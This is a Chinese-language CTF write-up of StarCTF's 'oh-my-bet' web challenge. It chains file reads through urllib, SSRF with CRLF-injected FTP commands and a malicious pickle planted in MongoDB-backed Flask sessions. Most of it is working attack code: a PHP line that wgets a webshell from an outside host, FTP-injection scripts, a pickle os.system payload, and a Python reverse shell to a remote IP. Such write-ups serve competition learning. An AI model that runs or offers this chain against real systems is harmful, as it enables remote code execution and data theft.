StarCTF oh-my-bet

图片的位置可以读到passwd,我们尝试可不可以LFI直接获得webshell

LFI通过proc/self/environ直接获取webshell:https://yq.aliyun.com/articles/441861

/proc/self/environ:
HOSTNAME=3bc5e11b1b0cSHLVL=1PYTHON_PIP_VERSION=9.0.1HOME=/home/appGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.6.0PWD=/app

/proc/self/cmdline
/usr/local/bin/python3.6/usr/local/bin/gunicorn-b0.0.0.0:5000-w6--threads6--log-leveldebugapp:app

选择User-Agent 写代码如下:

<?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?>

然后提交请求

失败了,从刚刚读取environ和cmdline可以看到是一个正在运行的app/app.py,我们去读取一下

…/…/…/…/app/app.py

读取用脚本

import requests
import random
import string
import base64
import re

target = "file:///etc/passwd"

def randstr():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])
data={
    "username": randstr(),
    "password": "12345",
    "avatar": "{}".format(target),
    "submit": "Go!"
}
print(data)
r = requests.post("http://8.141.49.22:8088/login", data=data)
resp = r.text
pattern = r'"data:image/png;base64,(.*?)"'
b64 = re.search(pattern, resp).group(1)
print(b64)
print(base64.b64decode(b64).decode())
#app.py
import logging
from flask import Flask, session, request, render_template, url_for, redirect
from flask_session import Session
from config import Config
from forms import LoginForm
from exts import db, redis_client
from models import User
from utils import mark_data, get_data, login_required, get_avatar, random_dice, random_card, md5

app = Flask(__name__)
app.config.from_object(Config())

Session(app)

db.init_app(app)
redis_client.init_app(app)


@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if session.get('username'):
        return redirect(url_for('shake_and_dice'))
    if request.method == 'GET':
        return render_template('login.html', form=form)
    else:
        username = form.username.data
        password = form.password.data
        password_md5 = md5(password)
        avatar = form.avatar.data

        user = User.query.filter_by(username=username).first()

        if user:

            if password_md5 != user.password:
                return render_template('login.html', form=form, message='Sorry, username or password ERROR!')
            else:
                session['username'] = username
                return redirect(url_for('shake_and_dice'))
        else:
            user = User(username=username, password=password_md5, avatar=avatar)
            db.session.add(user)
            db.session.commit()
            session['username'] = username

        data = get_avatar(username)
        mark_data(username, data)

        return redirect(url_for('shake_and_dice'))


@app.route('/shake_and_dice')
@login_required
def shake_and_dice():
    dice1 = random_dice()
    dice2 = random_dice()
    dice3 = random_dice()
    content = get_data(session['username'])
    return render_template('shake_and_dice.html', username=session['username'], avatar=content,
                           dice1=dice1, dice2=dice2, dice3=dice3)


@app.route('/flag_points_29_points')
@login_required
def flag_points_29_points():
    card1 = random_card()
    card2 = random_card()
    card3 = random_card()
    content = get_data(session['username'])
    return render_template('flag_points_29_points.html', username=session['username'], avatar=content,
                           card1=card1, card2=card2, card3=card3)


@app.route('/logout')
@login_required
def logout():
    session.pop('username')
    return redirect(url_for('login'))

@app.route('/')
def index():
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run()

这里毫无突破口,但是我们可以看到,导入了几个python模块,我们下载一下

#config.py
import pymongo
from ftplib import FTP
import json

class Config(object):

    def ftp_login(self):
        ftp = FTP()
        ftp.connect("172.20.0.2", 8877)
        ftp.login("fan", "root")
        return ftp

    def callback(self,*args, **kwargs):
        data = json.loads(args[0].decode())
        self.data = data

    def get_config(self):
        f = self.ftp_login()
        f.cwd("files")
        buf_size = 1024
        f.retrbinary('RETR {}'.format('config.json'), self.callback, buf_size)

    def __init__(self):
        self.get_config()
        data = self.data

        self.secret_key = data['secret_key']
        self.SECRET_KEY = data['secret_key']
        self.DEBUG = data['DEBUG']
        self.SESSION_TYPE = data['SESSION_TYPE']
        remote_mongo_ip = data['REMOTE_MONGO_IP']
        remote_mongo_port = data['REMOTE_MONGO_PORT']
        self.SESSION_MONGODB = pymongo.MongoClient(remote_mongo_ip, remote_mongo_port)
        self.SESSION_MONGODB_DB = data['SESSION_MONGODB_DB']
        self.SESSION_MONGODB_COLLECT = data['SESSION_MONGODB_COLLECT']
        self.SESSION_PERMANENT = data['SESSION_PERMANENT']
        self.SESSION_USE_SIGNER = data['SESSION_USE_SIGNER']
        self.SESSION_KEY_PREFIX = data['SESSION_KEY_PREFIX']

        self.SQLALCHEMY_DATABASE_URI = data['SQLALCHEMY_DATABASE_URI']
        self.SQLALCHEMY_TRACK_MODIFICATIONS = data['SQLALCHEMY_TRACK_MODIFICATIONS']

        self.REDIS_URL = data['REDIS_URL']

这里添加了FTP,这里应该会有说法

#utils.py
import os
import time
import re
import base64
import random
import hashlib
import urllib.request
from exts import redis_client
from functools import wraps
from flask import session, redirect, url_for
from models import User


def mark_data(id, data):
    expires = int(time.time()) + 240
    p = redis_client.pipeline()
    p.set(id, data)
    p.expireat(id, expires)
    p.execute()


def get_data(id):
    data = redis_client.get(id)
    if not data:
        data = get_avatar(id)
        mark_data(id, data)
    return data.decode()


def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kws):
            if not session.get("username"):
               return redirect(url_for('login'))
            return f(*args, **kws)
    return decorated_function


def get_avatar(username):

    dirpath = os.path.dirname(__file__)
    user = User.query.filter_by(username=username).first()

    avatar = user.avatar
    if re.match('.+:.+', avatar):
        path = avatar
    else:
        path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
    try:
        content = base64.b64encode(urllib.request.urlopen(path).read())
    except Exception as e:
        error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
        content = base64.b64encode(urllib.request.urlopen(error_path).read())
        print(e)

    return content


def random_dice():
    dices = ['1.gif', '2.gif', '3.gif', '4.gif', '5.gif', '6.gif', 'surprise1.gif', 'surprise2.gif']
    return random.choice(dices)


def random_card():
    color = ['♠️️', '❤️ ', '️️🔷', '♣️', '🚩']
    return "%-5s" % random.choice(color) + ' ' + "%-3s" % str(random.randint(1, 15))


def md5(data):
    m = hashlib.md5(data.encode())
    return m.hexdigest()

在这里,我们终于看到了为我们提供LFI的函数get_avatar

def get_avatar(username):

    dirpath = os.path.dirname(__file__)
    user = User.query.filter_by(username=username).first()

    avatar = user.avatar
    if re.match('.+:.+', avatar):
        path = avatar
    else:
        path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
    try:
        content = base64.b64encode(urllib.request.urlopen(path).read())
    except Exception as e:
        error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
        content = base64.b64encode(urllib.request.urlopen(error_path).read())
        print(e)

    return content

这个地方也是我们读文件的地方,使用的是urllib.request.urlopen,这个方法是支持file://和ftp://的

在这里插入图片描述

我们在config中知道了FTP服务器的存在,我们发送一个请求获取一下文件

利用ftp://fan:root@172.20.0.2/这样的url可以列出ftp服务器内的文件

在这里插入图片描述

使用ftp://fan:root@172.20.0.2:8877/ftp-server.py,获得了FTP服务器的源代码

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer


authorizer = DummyAuthorizer()

authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")

handler = FTPHandler
handler.permit_foreign_addresses = True
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer

server = FTPServer(("172.20.0.2", 8877), handler)
server.serve_forever()

首先看权限:authorizer.add_user("fan", "root", ".", perm="elrafmwMT"),有权限写

还有一个files文件夹,ftp://fan:root@172.20.0.2:8877/files/

在这里插入图片描述

这里有一个config.json

ftp://fan:root@172.20.0.2:8877/files/config.json

在这里插入图片描述

然后我去读了下/readflag,发现存在,读到了base64加密的二进制内容,这里我们进虚拟机,保存一下这个base64内容,然后用虚拟机的解密来解码这个base64内容的文件,然后拖到本地,反编译一下

在这里插入图片描述

flag_728246ee4be43072f63a6d4bb5ddb6b0c705e8e6

但是读取一下发现读不了,这里应该是无权限…
(其实有/readflag的时候就可以确定flag文件没权限读了…至于为什么反编译呢…就是单纯好奇)
我们再去看这个config.json,发现是Mongo,然后session是flask_session,也就说session存储在Mongo里,那我们在mongo中插入恶意pickle数据就可以了

SSRF到ftp服务器:https://github.com/perfectblue/ctf-writeups/tree/master/2020/plaidctf-2020/contrived-web

参考这篇文章

使用如下脚本来实现

import socket
import time

HOST = '0.0.0.0'  
PORT = 1888       
blocksize = 4096
fp = open('bb2.txt', 'rb')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    print('start listen...')
    s.listen()
    conn, addr = s.accept()
    time.sleep(3)
    print('go')
    with conn:
        while 1:
            buf = fp.read(blocksize)
            if not buf:
                fp.close()
                break
            conn.sendall(buf)
    print('end.')
import urllib.request
# Upload file
a = '''TYPE I
PORT 8,141,49,228,0,1888
STOR bb2.txt
'''
c = 'ftp://fan:root@172.20.0.2:8877/files%0d%0a'
exp = urllib.parse.quote(a.replace('\n', '\r\n'))
exp = c + exp
print(exp)

#ftp://fan:root@172.20.0.2:8877/files%0d%0aTYPE%20I%0D%0APORT%208%2C141%2C49%2C228%2C0%2C1888%0D%0ASTOR%20ss.txt%0D%0A

这样请求过去ftp就会启用主动模式,并从我们vps的1888端口下载一个bb2.txt文件

在这里插入图片描述

这里文件上传后发没数据…这里要注意,运行python后等一小会儿,然后提交请求…要不木得数据

在这里插入图片描述

Python MongoDBMongoDB安装Flask-session用法

我们在本地创建一个数据库,测试一下,库名admin表名sessions

因为有docker环境复现起来很舒服…

#!/usr/bin/python3

import pymongo

myclient = pymongo.MongoClient("mongodb://localhost:27017/")
mydb = myclient["admin"]
mycol = mydb["sessions"]

mydict = {"id": "session:37386ce1-3fe8-4f1d-91fc-224581c5279f", "val": '123','expiration':'ISODate("2021-03-06T22:23:07.470Z'}

x = mycol.insert_one(mydict)
print(x)
print(x)

更新一下

from pymongo import MongoClient
import pickle
import os
def get_pickle(cmd):
    class exp(object):
        def __reduce__(self):
            return (os.system, (cmd,))
    return pickle.dumps(exp())
def get_mongo(cmd):
    client = MongoClient('localhost', 27017)
    coll = client.admin.sessions
    try:
        coll.update_one(
            {'id':'session:14f1d114-dfcd-4ede-abab-241e88ab1e0c'},
            {"$set": { "val": get_pickle(cmd) }},
            upsert=True
        )
    except Exception as e:
        return e.message
if __name__ == '__main__':
    print(get_mongo('ls'))

在这里插入图片描述

这里可以看到val的值变了

用wireshark抓一下这个包,这个是过滤规则tcp.port == 27017,然而我没找到…用的是frankli师傅的方法…在network.py中的143行抛个异常

    if b'session' in msg:
        import base64
        print(base64.b64encode(msg))
    try:
        sock_info.sock.sendall(msg)

会抛出一段base64,放php里解出来即可

<?php
$a = base64_decode("HwIAAFHcsHQAAAAA3QcAAAAAAAAAfwAAAAJ1cGRhdGUACQAAAHNlc3Npb25zAAhvcmRlcmVkAAEDbHNpZAAeAAAABWlkABAAAAAECyprtJT6Tyqp1/jfMTVMbQACJGRiAAYAAABhZG1pbgADJHJlYWRQcmVmZXJlbmNlABcAAAACbW9kZQAIAAAAcHJpbWFyeQAAAAGKAQAAdXBkYXRlcwB+AQAAA3EAOgAAAAJpZAAtAAAAc2Vzc2lvbjoxNGYxZDExNC1kZmNkLTRlZGUtYWJhYi0yNDFlODhhYjFlMGMAAAN1ACgBAAADJHNldAAdAQAABXZhbAAOAQAAAIADY3Bvc2l4CnN5c3RlbQpxAFjuAAAACiAgICBweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCI4LjE0MS40OS4yMjgiLDU0MzIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOycKICAgIHEBhXECUnEDLgAACG11bHRpAAAIdXBzZXJ0AAEA");
file_put_contents("a.txt",$a);
?>

把这个二进制文件传进FTP,然后我们只要主动建立连接,然后让mongodb主动下载这个文件就可以更新mongo数据库

import urllib.request

a = '''TYPE I
PORT 172,20,0,5,0,27017
RETR a.txt
'''
c = 'ftp://fan:root@172.20.0.2:8877/files%0d%0a'
exp = urllib.parse.quote(a.replace('\n', '\r\n'))
exp = c + exp
print(exp)

最后带着session访问题目就可以弹shell

from pymongo import MongoClient
import pickle
import os
def get_pickle(cmd):
    class exp(object):
        def __reduce__(self):
            return (os.system, (cmd,))
    return pickle.dumps(exp())
def get_mongo(cmd):
    client = MongoClient('localhost', 27017)
    coll = client.admin.sessions
    try:
        coll.update_one(
            {'id':'session:14f1d114-dfcd-4ede-abab-241e88ab1e0c'},
            {"$set": { "val": get_pickle(cmd) }},
            upsert=True
        )
    except Exception as e:
        return e.message
if __name__ == '__main__':
    shell = """
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.141.49.228",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    """
    print(shell)
    print(get_mongo(shell))

用linux生成payload,别用windows…(血的教训,因为这个问题卡了很久很久很久),在linux安装疯狂报错的话用官方的方法安装

在这里插入图片描述

vps监听,运行/readflag拿到flag

在这里插入图片描述
用linux生成payload,别用windows…(血的教训,因为这个问题卡了很久很久很久),在linux安装疯狂报错的话用官方的方法安装

参考:

  • https://blog.frankli.site/2021/01/18/*CTF-2021-Web/
  • https://blog.brycec.me/posts/starctf2021_writeups/#oh-my-bet
  • https://github.com/sixstars/starctf2021/blob/main/web-oh-my-bet/oh-my-bet-ZH.md
  • https://www.cnblogs.com/W4nder/p/14322791.html
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值